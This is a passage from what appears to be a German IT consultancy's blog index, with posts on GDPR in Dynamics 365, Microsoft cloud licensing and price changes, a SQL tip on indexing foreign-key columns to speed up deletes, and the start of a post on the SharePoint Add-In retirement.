Datenschutz als integraler Bestandteil der CRM-Strategie Die DSGVO stellt Unternehmen vor komplexe Anforderungen – insbesondere im Umgang mit CRM-Systemen. Standardlösungen allein reichen dabei selten aus. Erst durch intelligente Erweiterungen, Automatisierung und klare Regelwerke wird Dynamics 365 zu einer wirklich datenschutzkonformen Plattform. Unternehmen, die Datenschutz frühzeitig strategisch integrieren, profitieren doppelt: Sie minimieren Risiken und schaffen gleichzeitig die Basis für effiziente, skalierbare und zukunftssichere Kundenprozesse.\nSie möchten wissen, wie sich DSGVO-Anforderungen konkret und effizient in Ihrem Dynamics CRM umsetzen lassen? Dann werfen Sie einen Blick auf die Lösungen von Objektkultur und lassen Sie sich individuell beraten.\nProfitieren Sie jetzt von unserer Datenschutz-Lösung für Dynamics 365! ","date":"12. Februar 2026","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/datenschutz-dsgvo-dynamics-365-crm_hucc9e692f6412ad213127d3dd76434f73_297239_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/datenschutz-dsgvo-dynamics-365-crm_hucc9e692f6412ad213127d3dd76434f73_297239_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/datenschutz-und-dsgvo-in-dynamics-crm/","tags":["dynamics-365","crm"],"title":"Datenschutz und DSGVO in Dynamics CRM"},{"categories":["Insights"],"contents":" In einer IT-Landschaft, die zuletzt fast ausschließlich von steigenden Kosten geprägt war, sorgt Microsoft zum 1. Februar 2026 für eine überraschende Wende: Die Listenpreise für Cloud-Services im Euroraum sinken um 7,4 %. Doch diese Preisanpassung ist kein Selbstläufer – sie erfordert aktives Handeln und präzises Timing.\nInhalte 1. Warum Microsoft die Cloud-Preise in Europa anpasst 2. Was sich seit dem 1. Februar 2026 konkret ändert 3. Das strategische Zeitfenster: Warum Sie vor Juli 2026 handeln müssen 4. Microsoft Dynamics 365: Lizenz-Preise und Einsatz im Fokus 5. Für welche Unternehmen der Zeitpunkt besonders relevant ist 6. Wie Unternehmen die Preisanpassung strategisch nutzen können 7. Sie benötigen Unterstützung für Ihre Lizenzstrategie? 8. Fazit 1. Warum Microsoft die Cloud-Preise in Europa anpasst Microsoft verfolgt das Ziel einer globalen Preis-Harmonisierung. Da die Dienste intern in US-Dollar kalkuliert werden, führen Wechselkursschwankungen regelmäßig zu Anpassungen lokaler Währungen.\nDie ökonomischen Hintergründe Währungsvorteil Euro: Durch die Stabilisierung des Euros gegenüber dem US-Dollar gibt Microsoft diesen kalkulatorischen Vorteil an Kunden im Euroraum weiter. Global Pricing Alignment: Ziel ist eine einheitliche Preisstruktur. Dies verhindert Arbitrage-Effekte bei multinationalen Konzernen, die Lizenzen über verschiedene Regionen beziehen. Marktdynamik: Die Senkung betrifft zentrale SaaS-Produkte wie Microsoft 365, Dynamics 365 und die Power Platform und stärkt die Wettbewerbsfähigkeit gegenüber lokalen Cloud-Anbietern. 2. Was sich seit dem 1. Februar 2026 konkret geändert hat Seit dem Stichtag gelten die reduzierten Euro-Listenpreise. Die Umsetzung in bestehenden Infrastrukturen ist jedoch an vertragliche Bedingungen geknüpft.\nStichtag 01.02.2026: Erst seit diesem Datum werden Neuverträge und Renewals auf Basis der gesenkten Preise berechnet. Laufende Verträge: Verträge mit fester Laufzeit (z. B. 12 oder 36 Monate) behalten ihren Preis bis zum Ende der Laufzeit bei. Ein proaktives Eingreifen ist hier zwingend erforderlich, um von der Senkung vorzeitig zu profitieren. 3. Das strategische Zeitfenster: Warum Sie vor Juli 2026 handeln müssen Die aktuelle Preissenkung ist ein \u0026ldquo;Lichtblick mit Ablaufdatum\u0026rdquo;. Zum 1. Juli 2026 plant Microsoft signifikante produktgetriebene Preiserhöhungen.\nIntegrierte KI-Modelle: Durch die tiefe Integration von Copilot-Funktionen in die Basislizenzen wird eine neue Preisstruktur erwartet, die Steigerungen von 5 % bis 33 % nach sich ziehen kann. Die 5-Monats-Chance: Das Zeitfenster zwischen Februar und Juni ist die einzige Phase, in der Unternehmen den Währungsvorteil (Minus 7,4 %) nutzen können, um sich gegen die kommenden KI-Aufschläge abzusichern. 4. Dynamics 365: Preise und Einsatz im Fokus Änderungen der Listenpreise der Microsoft Dynamics 365 Lizenzen seit Februar 2026:\nBereich Lizenz \u0026 Abrechnungsmodell Ursprünglicher Preis (bis Jan 26) Aktueller Preis (seit Feb 2026)* Strategischer Fokus Sales D365 Sales Enterprise\n(pro User/Monat) 98,30 € 91,00 € Kernvertrieb \u0026 Pipeline. Sales D365 Sales Premium\n(pro User/Monat) 140,40 € 130,00 € KI-Insights \u0026 Sales Engagement. Service D365 Customer Service Enterprise\n(pro User/Monat) 98,30 € 91,00 € Case-Management \u0026 SLAs. Service D365 Customer Service Premium\n(pro User/Monat) 182,50 € 169,00 € Omnichannel \u0026 KI-Service. Marketing D365 Customer Insights (Data)\n(pro Tenant/Monat) 1.591,30 € 1.473,00 € Zentralisierung von Kundendaten (CDP). Hinweis: Die Preise sind Näherungswerte basierend auf der 7,4 % Senkung. Änderungen durch Microsoft vorbehalten.\nErfahren Sie mehr über die unterschiedlichen Lizenzmodelle von Dynamics 365 und wie Sie diese richtig einsetzen! 5. Für welche Unternehmen der Zeitpunkt jetzt besonders relevant ist Strategische Relevanz nach Unternehmensprofil Renewals im Q1/Q2 2026: Diese Unternehmen stehen unmittelbar vor der Entscheidung. Ein Verpassen des Zeitfensters bedeutet den Verzicht auf signifikante Margenvorteile. Unternehmen vor der Cloud-Migration: Wer noch On-Premises-Systeme (NAV, AX, CRM) nutzt, findet im Frühjahr 2026 die optimalen Einstiegskosten für den Wechsel in die Cloud. Organisationen mit hohem Innovationsdruck: Unternehmen, die KI-Funktionen ausrollen wollen, sollten die Basislizenzen vor den Juli-Anpassungen sichern, um das Budget für die tatsächliche Implementierung (Consulting/Training) freizuhalten. Skalierende Mittelständler: Bei geplantem Headcount-Wachstum lassen sich durch ein frühzeitiges Lizenz-Lock-in die Kosten pro Mitarbeiter langfristig stabilisieren. 6. Wie Unternehmen die Preisanpassung strategisch nutzen können Die technische und kaufmännische Roadmap Auditierung \u0026amp; Konsolidierung: Vor jedem Renewal sollte ein \u0026ldquo;Technical Audit\u0026rdquo; stehen. Identifizieren Sie ungenutzte \u0026ldquo;Zombie-Lizenzen\u0026rdquo; und bereinigen Sie Ihre Tenant-Struktur, bevor Sie die neuen Konditionen fixieren. Das \u0026ldquo;Lock-in\u0026rdquo; durch 3-Jahres-Commitments: Im Enterprise Agreement (EA) lassen sich die reduzierten Preise oft über 36 Monate sichern. Dies eliminiert das Risiko der jährlichen Preis-Volatilität. Strategisches \u0026ldquo;Early Renewal\u0026rdquo;: In Zusammenarbeit mit Ihrem Partner kann geprüft werden, ob ein vorzeitiger Vertragsneustart sinnvoll ist, um die Preiserhöhung im Juli um volle 12 bis 36 Monate zu umgehen. Lizenz-Mix Optimierung: Benötigt jeder User das Premium-Paket? Nutzen Sie die Umstellung für ein präzises \u0026ldquo;Right-Sizing\u0026rdquo;, um den Spareffekt der 7,4 % durch optimierte Lizenztypen zu potenzieren. 7. Sie benötigen Unterstützung für Ihre Lizenzstrategie? Unsere Expertinnen und Experten unterstützen Sie in dieser kritischen Phase der Lizenzmodell-Veränderung. Wir begleiten Sie dabei, das Optimum aus dem Zeitfenster zwischen Februar und Juli 2026 herauszuholen:\nAnalyse: Bestandsaufnahme Ihrer aktuellen Lizenzvereinbarung \u0026amp; Identifikation konkreter Kostenauswirkungen durch die 7,4 % Senkung sowie die kommenden Juli-Anpassungen. Strategische Beratung: Vergleich der Lizenzmodelle (z. B. Business vs. Enterprise) und Erarbeitung einer maßgeschneiderten Strategie, die Ihre Roadmap für KI und Wachstum berücksichtigt. Verhandlung: Fachliche Begleitung, um die vorteilhaften Preisstrukturen langfristig für Ihr Unternehmen zu sichern. Implementierung \u0026amp; Integration: Wenn Sie im Zuge der Preisanpassung zu CSP oder MCA-E wechseln oder Ihre Lizenzlandschaft grundlegend umstellen, unterstützen wir Sie als Implementierungspartner beim Übergang. Dies umfasst die technische Migration von Identity- und Access-Management (IAM), die Anpassung von Billing-Prozessen sowie den Aufbau nachhaltiger Governance-Strukturen. Wir stellen sicher, dass die neuen Lizenzmodelle technisch und kaufmännisch optimal in Ihre bestehende Microsoft-Infrastruktur integriert werden.\nKontaktieren Sie uns für eine fundierte Analyse Ihrer aktuellen Lizenzsituation. 8. Fazit Die Preissenkung im Februar 2026 ist eine strategische Opportunität. Wer die Phase zwischen Februar und Juni für eine fundierte Bestandsaufnahme und Vertragsanpassung nutzt, schützt sein Unternehmen effektiv vor den Kostensteigerungen der zweiten Jahreshälfte. Passivität führt in diesem volatilen Markt unweigerlich zu höheren Betriebskosten.\n","date":"2. Februar 2026","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/microsoft-licenses_hub4a19ffb759fade039b931de8cfdab0f_1080488_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/microsoft-licenses_hub4a19ffb759fade039b931de8cfdab0f_1080488_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/microsoft-commercial-cloud-microsoft-lizenzpreis%C3%A4nderungen-seit-1.-februar-2026-was-unternehmen-jetzt-wissen-m%C3%BCssen/","tags":null,"title":"Microsoft Commercial Cloud: Microsoft Lizenzpreisänderungen seit 1. Februar 2026 - Was Unternehmen jetzt wissen müssen"},{"categories":["Insights"],"contents":"Microsoft hat seit dem 01.11.2025 seine Lizenzierungsstrategie grundlegend verändert: Kleinere Unternehmen verlieren Zugang zu Enterprise Agreements (EA), Volumenrabatte fallen weg, und die Kosten steigen deutlich. Diese Änderungen sind bereits in Kraft. In diesem Beitrag erklären wir, was sich konkret geändert hat, welche Unternehmen betroffen sind und welche Maßnahmen Sie jetzt ergreifen sollten.\nInhalte 1. Hintergrund der Änderungen 2. Was ändert sich konkret an den Enterprise Agreements? 3. Überblick über die neuen Lizenzmodelle von Microsoft 4. Welche Unternehmen sind wie betroffen? 5. Was sollten Sie sofort unternehmen? 6. Sie benötigen Unterstützung? 7. Fazit 1. Hintergrund der Änderungen Microsoft lenkt kleinere und mittlere Unternehmen konsequent auf flexible Cloud-Modelle wie CSP (Cloud Solution Provider) oder MCA (Microsoft Customer Agreement), während große Konzerne direkt mit Microsoft abrechnen sollen. Offiziell begründet Microsoft dies mit einer \u0026ldquo;Vereinfachung und Standardisierung der Preisgestaltung\u0026rdquo;. Die Änderungen betreffen die Plattformen Microsoft 365, Dynamics 365, Azure, Windows 365 sowie alle Security-, Compliance- und Identity-Management-Produkte. On-Premises-Software, US-Behörden und der Bildungssektor bleiben ausgenommen.\n2. Was ändert sich konkret an den Enterprise Agreements? Neue Mindestgröße: von 500 auf 3.000 Nutzer Ab November 2025 können nur noch Unternehmen mit ca. 3.000 Nutzern oder Geräten ein neues EA abschließen oder verlängern. Bisher lag diese Grenze bei 500 Nutzern. Unternehmen mit weniger als 3.000 Mitarbeitenden verlieren ab 2025 komplett den Zugang zum klassischen Enterprise Agreement. Sie müssen auf CSP oder MCA-E ausweichen.\nWegfall der Preisstaffelungen Level B-D Die bisherigen Volumenrabatte entfallen ab November 2025 komplett:\nLevel A: Listenpreis (bisher: bis 2.399 Nutzer) Level B: -6 % Rabatt ➜ entfällt Level C: -9 % Rabatt ➜ entfällt Level D: -12 % Rabatt ➜ entfällt Alle Kunden zahlen künftig den Standardpreis (Level A).\nKostenauswirkungen:\nLevel B-Kunden: ca. 6 % Preiserhöhung Level C-Kunden: ca. 9 % Preiserhöhung Level D-Kunden: ca. 12 % Preiserhöhung Ein Beispiel: Unternehmen mit 2.000 Microsoft 365 E5-Lizenzen in Level B muss künftig mit zusätzlichen Kosten von ca. 80.000 € pro Jahr rechnen.\n3. Überblick über die neuen Lizenzmodelle von Microsoft Enterprise Agreement (EA) – Nur noch für Großunternehmen Zielgruppe: Große Unternehmen mit mindestens ca. 3.000 Nutzern\nMerkmale:\n3-Jahres-Verträge mit Preisfixierung Software Assurance mit Hybrid-Nutzungsrechten enthalten Künftig nur Listenpreis (Level A), Rabatte müssen verhandelt werden Ideal für: Organisationen mit hohem Volumen und Bedarf an Planungssicherheit Cloud Solution Provider (CSP) – Flexibilität über Partner Zielgruppe: Unternehmen jeder Größe, besonders solche unter der EA-Grenze\nMerkmale:\nKeine Mindestanzahl an Nutzern Monatliche oder jährliche Abrechnung Lizenzen jederzeit anpassbar CSP-Partner übernimmt Verwaltung, Billing und Support Partner können eigene Rabatte gewähren Vorteile: Schnelle Bereitstellung, keine hohen Vorabinvestitionen, persönlicher Support Herausforderungen: Keine mehrjährige Preisfixierung, Abhängigkeit vom Partner\nMicrosoft Customer Agreement for Enterprise (MCA-E) Zielgruppe: Größere Unternehmen, die direkt mit Microsoft arbeiten möchten\nMerkmale:\nEvergreen-Vertrag ohne festes Vertragsende Keine Mindestgröße erforderlich Direktvertrag mit Microsoft MACC (Microsoft Azure Consumption Commitment) möglich MCA-E wird häufig als EA-Nachfolger positioniert, hat aber erhebliche Schwachstellen und Nachteile:\nKeine Software Assurance: Anders als bei EA entfällt die Software Assurance komplett. Das bedeutet: Sie haben keine Hybrid-Nutzungsrechte (On-Premises und Cloud gleichzeitig nutzbar), keinen Zugang zu älteren Versionen und keinen erweiterten Support. Bei Lizenzumbau oder Wechsel fehlt diese Sicherheit völlig. Eingeschränktes SKU-Portfolio: Im Vergleich zu EA ist die Produktauswahl deutlich kleiner. Bestimmte Lizenzkombinationen oder spezialisierte Szenarien sind nicht möglich oder erfordern Umwege. Keine automatischen Rabatte: Während EA-Kunden mit hohem Volumen Verhandlungspotenzial haben, gibt es bei MCA-E nur Standardpreise – Rabatte sind theoretisch verhandelbar, in der Praxis aber deutlich schwerer zu erreichen. Fehlende Planungssicherheit: Die Preise sind nicht über mehrere Jahre fixiert. Microsoft kann Preise jederzeit erhöhen, was zu unvorhergesehenen Budgetüberschreitungen führt. Begrenzte Lizenzflexibilität: Downgrade-Optionen und Lizenzumbuchungen sind deutlich restriktiver als bei EA. Das führt zu weniger Flexibilität bei Organisationsänderungen. Fazit zu MCA-E: Das Modell funktioniert nur, wenn Sie Cloud-First sind, keine On-Premises-Komponenten brauchen und mit volatilen Preisen kalkulieren können. Vergleichstabelle: Microsoft Enterprise Agreement vs CSP vs MCA-E Kriterium EA CSP MCA-E Mindestgröße Ca. 3.000 Nutzer Keine Keine Laufzeit 3 Jahre (fest) Monatlich/Jährlich Unbefristet Preisfixierung Ja, 3 Jahre Nein Nein Volumenrabatte Nein (ab Nov. 2025) Über Partner verhandelbar Verhandelbar Flexibilität Gering Sehr hoch Hoch Verwaltung Direkt mit Microsoft Via CSP-Partner Direkt mit Microsoft Support Microsoft-Team Partner Microsoft-Support Software Assurance Inklusive Nicht verfügbar Nicht verfügbar Ideal für Große Unternehmen (3.000+ Nutzer) KMU mit variablem Bedarf Mittelgroße bis große, Cloud-fokussierte Unternehmen 4. Welche Unternehmen sind wie betroffen? Unternehmen unter 3.000 Nutzern\u0026hellip; \u0026hellip;verlieren komplett den Zugang zu neuen EAs. Sie müssen auf CSP oder MCA-E ausweichen und können von der höheren Flexibilität profitieren, falls sie strategisch vorgehen.\nUnternehmen in Level B-D (mittlere bis große Organisationen)\u0026hellip; \u0026hellip;können weiterhin EA nutzen (bei ≥3.000 Nutzern), müssen aber mit Kostensteigerungen von 6-12 % rechnen. Falls EAs bis zu diesem Punkt nicht verlängert wurden, greift die neue Preisstruktur unmittelbar bei Verlängerungen.\nSehr große Unternehmen\u0026hellip; \u0026hellip;haben erhebliche Verhandlungsmacht gegenüber Microsoft. Strategische Faktoren wie Cloud-Adoption, Copilot-Nutzung oder Multi-Year-Commitments können als Verhandlungshebel genutzt werden.\n5. Was sollten Sie sofort unternehmen? Analyse der aktuellen Situation (unmittelbar) Vertragsstatus prüfen: Wann läuft Ihr aktuelles EA ab? Wurden bereits Verlängerungen unter den neuen Bedingungen abgeschlossen? Nutzeranzahl und Preisstaffel ermitteln: Liegen Sie über oder unter 3.000 Nutzern? In welchem Level befinden Sie sich? Kostenauswirkung berechnen: Was bedeutet der Rabattausfall konkret für Ihr Budget in den kommenden Monaten? Betroffene Produkte erfassen: Welche Plattformen nutzen Sie, die von den Änderungen betroffen sind? Optimierung des Lizenzportfolios (in den kommenden Wochen) Lizenz-Audit: Welche Lizenzen werden tatsächlich genutzt? Identifizieren Sie Einsparpotenziale. Unsere Expertinnen und Experten können Sie bei der Durchführung dieser Audits mit ihrem Wissen aus über hunderten Implementierungsprojekten unterstützen. Right-Sizing: Haben alle Nutzer die passende Lizenzstufe? Können Sie zwischen E3 und E5 optimieren? Ungenutztes Shelfware eliminieren: Reduzieren Sie Add-ons wie Power BI, Project oder Visio, die nicht benötigt werden. Unsere Implementierungserfahrung zeigt, dass Unternehmen in diesen Bereichen häufig Geld einsparen können. Strategische Neuausrichtung der Lizenzierung Alternativen bewerten: Prüfen Sie CSP vs. MCA-E für Ihre spezifische Situation Partner identifizieren: Falls CSP der richtige Weg ist – welche Partner kommen in Frage? Verhandlungsstrategie: Nutzen Sie strategische Hebel (Cloud-Adoption, Copilot-Projekte) bei Gesprächen mit Microsoft Expertise einholen: Erwägen Sie externe Berater für EA-Verhandlungen, um das Beste aus den neuen Konditionen herauszuholen Governance etablieren: Implementieren Sie zentrales Lizenzmanagement und regelmäßige Reviews 6. Sie benötigen Unterstützung für Ihre Lizenzstrategie? Unsere Expertinnen und Experten unterstützen Sie in dieser Phase der Lizenzmodell-Veränderung:\nAnalyse: Bestandsaufnahme Ihrer aktuellen Lizenzvereinbarung und Identifikation konkreter Kostenauswirkungen Strategische Beratung: Vergleich der Lizenzmodelle und Erarbeiten einer maßgeschneiderten Lizenzstrategie für Ihre Situation Verhandlung: Begleitung bei Gesprächen mit unseren CSP-Partnern, um optimal von den neuen Strukturen zu profitieren Implementierung \u0026amp; Integration: Wenn Sie zu CSP oder MCA-E wechseln oder Ihre Lizenzlandschaft grundlegend umstellen, unterstützen wir Sie als Implementierungspartner beim Übergang – von der technischen Migration von Identity- und Access-Management über neue Abrechnung und Billing bis zu Governance-Strukturen. Wir stellen sicher, dass die neuen Lizenzmodelle optimal in Ihre bestehende Microsoft-Infrastruktur integriert werden. Kontaktieren Sie uns für ein unverbindliches Beratungsgespräch. 7. Fazit Die Microsoft-Lizenzierungslandschaft hat sich fundamental verändert. Unternehmen unter 3.000 Nutzern verlieren Zugang zu EAs, Volumenrabatte entfallen überall und die Kosten sind bereits gestiegen. Die gute Nachricht: Mit gezielter Optimierung und der richtigen Strategie können Sie Mehrkosten deutlich reduzieren:\nHandeln Sie sofort: Analysieren Sie Ihre Lizenzsituation und identifizieren Sie Einsparpotenziale Evaluieren Sie Alternativen: CSP und MCA-E können unter bestimmten Voraussetzungen wirtschaftlich vorteilhaft sein Optimieren Sie strategisch: Right-Sizing, Governance und professionelle Verhandlungen helfen Ihnen, das Beste aus der neuen Situation herauszuholen Passivität führt zu unnötigen Mehrkosten. Wer jetzt aktiv handelt, kann nicht nur Kosten kontrollieren, sondern seine Lizenzierung grundsätzlich effizienter aufstellen.\n","date":"1. November 2025","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/microsoft-enterprice-agreements_hu62f68861d195d706d5c8982ea33cfae6_4612464_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/microsoft-enterprice-agreements_hu62f68861d195d706d5c8982ea33cfae6_4612464_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/microsoft-enterprise-agreements-wichtige-%C3%A4nderungen-bei-microsoft-lizenzierung-seit-1.-november-2025-was-unternehmen-jetzt-wissen-m%C3%BCssen/","tags":["tooling"],"title":"Microsoft Enterprise Agreements: Wichtige Änderungen bei Microsoft-Lizenzierung seit 1. November 2025 - Was Unternehmen jetzt wissen müssen!"},{"categories":["Quick-Tipps"],"contents":"Direkt zu Beginn in Kurzform das Wesentliche: In relationalen Datenbanken kann es sinnvoll sein, aus Performancegründen Indizes auf Fremdschlüssel-Spalten zu erstellen! Für wen dies bereits logisch und bekannt ist, bietet dieser Beitrag nicht Neues.\nDass Indizes Sortierung und Filterung auf in ihnen enthaltenen Spalten beschleunigen, sollte allen, die mit Datenbanken arbeiten, vertraut sein. Für mich war es jedoch eine neue – rückwirkend betrachtet eigentlich offensichtliche – Erkenntnis, dass Löschoperationen durch Indizes in anderen Tabellen beschleunigt werden können. Allerdings bin ich kein Datenbankadministrator und der Entwurf und die Optimierung von Datenbankschemata sind nur gelegentlich Teil meiner Aufgaben. In Bezug auf relationale Datenbanken wurde mir vor allem vermittelt, wie wichtig eine gute Modellierung zur Gewährleistung von Datenkorrektheit ist. Know-how zu Performance wurde weitestgehend ausgespart, weil sich das bei sauberen Schemata bereits automatisch ergeben würde. In der Praxis habe ich dennoch teilweise nicht akzeptable Verarbeitungsgeschwindigkeiten feststellen müssen und mögliche Lösungswege kennengelernt. Weil vermutlich noch weitere Personen in einer vergleichbaren Situation sind, möchte ich diesen Tipp teilen, um ihnen eventuell etwas Zeit bei einer zukünftigen Problemanalyse zu ersparen.\nProblemfall Bei meinem aktuellen Kundenprojekt war ein Schritt von vielen, während einer fast dreitägigen Produktivsystemabschaltung, eine Datenbankbereinigung. Vor allem in einer Tabelle mussten dabei mehrere Millionen Datensätze gelöscht werden – allerdings nicht alle, sodass kein Weg um die Löschung von Einzeleinträgen herumführte (kein TRUNCATE möglich). Bei Tests vor der produktiven Ausführung stellte sich heraus, dass nur 4-5 Elemente pro Sekunde gelöscht werden konnten!\nWie bei den meisten Problemen kann es hier ebenfalls viele mögliche Ursachen geben. Beispielsweise eine anderweitig bereits ausgelastete Datenbank, eine aufwändige Ermittlung der zu löschenden Datensätze oder nicht zusammengefasste Löschanweisungen, die einzeln nacheinander von einer Anwendung mit einer gewissen Verbindungslatenz zur Datenbank abgesetzt werden. In diesem Fall konnten die genannten Gründe ausgeschlossen werden: Die Datensätze wurden bei der Löschung direkt per Primärschlüssel referenziert und immer eine gewisse Menge in einer Abfrage gebündelt verarbeitet.\nAnalyse Generell empfiehlt sich bei der Auswertung von Performance-Problemen im Datenbankumfeld eine Prüfung des Ausführungsplans („query plan“) für langsame Operationen. Auf diese Weise kann ein Einblick in die vom Datenbanksystem unter der Haube ausgeführten Teilschritte zur Bearbeitung von SQL-Anweisungen erlangt werden.\nLeider sind Ausführungspläne nicht leicht verständlich: Bereits beim Identifizieren von langsamen Teilschritten kann man daneben liegen (lange Ausführungszeit eines Teilschritts bedeutet wegen Daten-Streaming nicht, dass es der Flaschenhals war) und eventuell automatisch generierte Empfehlungen zur Performance-Steigerung müssen genau hinterfragt werden. Darüber hinaus hängen die Details vom verwendeten Datenbanksystem ab, sodass dieser Blogbeitrag darauf nicht weiter eingeht. Für den Microsoft SQL Server bietet das SQL Server Management Studio grafische Werkzeuge , die auf SET SHOWPLAN_XML (Dokumentation ) und SET STATISTICS XML (Dokumentation ) basieren. Bei PostgreSQL kann EXPLAIN (Dokumentation ) verwendet werden. Andere Systeme bieten ähnliche Werkzeuge.\nIn diesem konkreten Fall war im Ausführungsplan auffällig, dass für die DELETE-Anweisung sehr viele „clustered index scans“ generiert wurden: Je einer für fast jeden Fremdschlüssel, der auf die Tabelle verwies. Das bedeutet, dass das Datenbanksystem den kompletten Inhalt – nicht bloß die Fremdschlüsselspalte – von mehr als 30 Tabellen* laden und auf Verwendungen der zu löschenden Datensätze prüfen musste! Ursache ist, dass ein Datenbanksystem die referentielle Integrität gewährleisten muss: Entweder das Löschen abbrechen oder die für die Fremdschlüssel definierten Löschaktionen ausführen, wenn ein Verweis auf einen zu löschenden Datensatz gefunden wird.\n* Die Löschoperation musste in einer Tabelle angewendet werden, die im Datenbankschema sehr zentral war und entsprechend oft referenziert wurde.\nProblembehebung Wenn die Ursache mal gefunden ist, ist eine Lösung oft der leichtere Teil. In diesem Fall mussten in den anderen Tabellen, die eine Fremdschlüsselbeziehung zur Tabelle mit den zu löschenden Einträgen haben, Indizes auf die Spalten mit den Fremdschlüsseln angelegt werden.\nZur Veranschaulichung ein sehr simples Beispiel, bei denen ein Customer über mehrere Address-Einträge verfügen kann:\nCREATE TABLE [Customer] ( [Id] [int] IDENTITY(1, 1) NOT NULL, [Name] [nvarchar](100) NOT NULL, CONSTRAINT [PK_Customer] PRIMARY KEY CLUSTERED ([Id]) ); CREATE TABLE [Address] ( [Id] [int] IDENTITY(1, 1) NOT NULL, [CustomerId] [int] NOT NULL, [Formatted] [nvarchar](300) NOT NULL, CONSTRAINT [PK_Address] PRIMARY KEY CLUSTERED ([Id]), CONSTRAINT [FK_Address_CustomerId_Customer_Id] FOREIGN KEY ([CustomerId]) REFERENCES [Customer] ([Id]) ); Um (falls notwendig) Löschoperationen in der Customer-Tabelle zu beschleunigen, muss ein Index erstellt werden, der ein effizientes Prüfen auf Verwendungen durch die Address-Tabelle ermöglicht:\nCREATE NONCLUSTERED INDEX [IX_Address_CustomerId] ON [Address] ([CustomerId]); Man könnte intuitiv davon ausgehen, dass ein Datenbanksystem solche Indizes automatisch im Hintergrund erstellt. Dies passiert jedoch im Regelfall nicht und würde eventuell gar nicht benötigt: Wenn in der primären Tabelle nie gelöscht wird, besteht kein Bedarf für einen solchen Index. Weil Indizes immer aktuell gehalten werden müssen und damit zur Laufzeit etwas die Verarbeitungsgeschwindigkeit reduzieren, ist das Einsparen nicht notwendiger Indizes empfehlenswert. Es ist demnach eine Abwägungssache, die vom jeweiligen Anwendungsfall abhängt.\nErgebnis Für das Anlegen der notwendigen Indizes (siehe vorherigen Abschnitt) benötigte die Datenbank etwa eine halbe Minute. Anschließend wurde dieselbe DELETE-Anweisung für mehr als 30.000 Datensätze pro Sekunde ausgeführt!\nVon einer ursprünglichen Ausführungszeit von hochgerechnet mehr als sechs Tagen sind somit nur ein paar Minuten übriggeblieben. Mit den erstellten Indizes konnte das Datenbanksystem von den „clustered index scans“ zu den wesentlich schnelleren „index seeks“ wechseln. Der Geschwindigkeitsgewinn entsteht, weil Indizes eine eigene, für das schnelle Auffinden von Werten optimierte Datenstruktur bereitstellen. Dadurch muss nur ein sehr kleiner Bruchteil der Tabellendaten verarbeitet werden. Ohne diese Optimierung wäre der Zeitplan für die Produktivsystemumstellung, bei der noch viele weitere Aktionen stattfinden mussten, nicht möglich gewesen.\n","date":"29. Oktober 2025","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/tipp-relationale-datenbanken_hu64182a010333a3b82f21d866de2be8ab_1005943_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/tipp-relationale-datenbanken_hu64182a010333a3b82f21d866de2be8ab_1005943_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/tipp-f%C3%BCr-relationale-datenbanken-indizes-f%C3%BCr-fremdschl%C3%BCssel/","tags":["backend"],"title":"Tipp für Relationale Datenbanken: Indizes für Fremdschlüssel"},{"categories":["Insights"],"contents":"Microsoft zieht einen klaren Schlussstrich: Das SharePoint Add-In-Modell wird ab April 2026 in SharePoint Online nicht mehr unterstützt. Für Unternehmen, die weiterhin auf klassische SharePoint Add-Ins setzen, bedeutet das akuten Handlungsbedarf. Wer seine bestehenden Lösungen nicht rechtzeitig modernisiert, riskiert Funktionsausfälle, Sicherheitsprobleme und steigende Wartungskosten.\nDoch die Umstellung auf die Nachfolge-Technologie SharePoint Framework SPFx ist mehr als nur eine technische Pflichtaufgabe. Sie bietet Unternehmen die Chance, ihre SharePoint-Architektur zukunftssicher aufzustellen, Prozesse zu modernisieren und Integrationen auf eine stabile technologische Basis zu heben.\nWas bedeutet das SharePoint Add-In Retirement konkret? Das bisherige SharePoint Add-In-Modell war über viele Jahre eine zentrale Möglichkeit, SharePoint Online individuell zu erweitern. Betroffen sind sowohl individuell entwickelte Add-Ins als auch Lösungen aus dem App-Katalog – unabhängig davon, ob es sich um SharePoint-hosted oder Provider-hosted Add-Ins handelt.\nAb April 2026 funktionieren diese Erweiterungen in SharePoint Online nicht mehr. Unternehmen sollten daher frühzeitig analysieren:\nWelche Add-Ins sind aktuell im Einsatz? Welche Geschäftsprozesse hängen davon ab? Welche Risiken entstehen durch einen Weiterbetrieb? Welche Migrationsstrategie ist sinnvoll? Gerade bei komplexen Unternehmensanwendungen ist eine Migration nicht „nebenbei“ erledigt. Häufig hängen Integrationen, Hintergrundprozesse oder individuelle Benutzeroberflächen direkt an den bestehenden Add-Ins.\nDie Nachfolge-Technologie: SharePoint 